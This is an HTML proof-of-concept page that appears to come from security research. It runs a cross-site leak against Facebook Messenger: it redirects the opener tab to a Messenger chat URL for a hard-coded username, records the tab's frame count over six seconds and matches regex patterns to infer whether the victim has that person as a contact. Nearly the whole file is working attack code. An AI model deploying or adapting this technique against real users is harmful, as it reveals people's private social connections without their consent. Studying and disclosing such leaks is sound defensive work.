<!DOCTYPE html>
<html lang="en">
<head>
<title>2.html</title>
</head>
<body>
<script type="text/javascript">
const pattern = [];
const backgroundTab = window.opener;
const FACEBOOK_ID_OR_USERNAME = "ronmasas";
backgroundTab.location = `https://messenger.com/t/${FACEBOOK_ID_OR_USERNAME}`;
/**
* Detect the "drop" pattern
*
* @returns {bool}
*/
const hasDrop = (logs) => {
let logsStr = logs.join('');
let dropDetected = false;
if (logsStr.match(/3{30,}2{1,4}3{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/4{30,}3{1,4}4{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/5{30,}4{1,4}5{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/6{30,}5{1,4}6{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/7{30,}6{1,4}7{30,}/i)) {
dropDetected = true;
}
return dropDetected;
};
/**
* Record frames count while the background tab redirects to Messenger
*/
const recorder = setInterval(() => {
pattern.push(backgroundTab.frames.length);
}, 0);
setTimeout(() => {
// Stop the recorder
clearInterval(recorder);
// Output the result
console.log(hasDrop(pattern) ? 'Not in Messenger contacts' : 'In Messenger contacts');
}, 6 * 1000);
</script>
</body>
</html>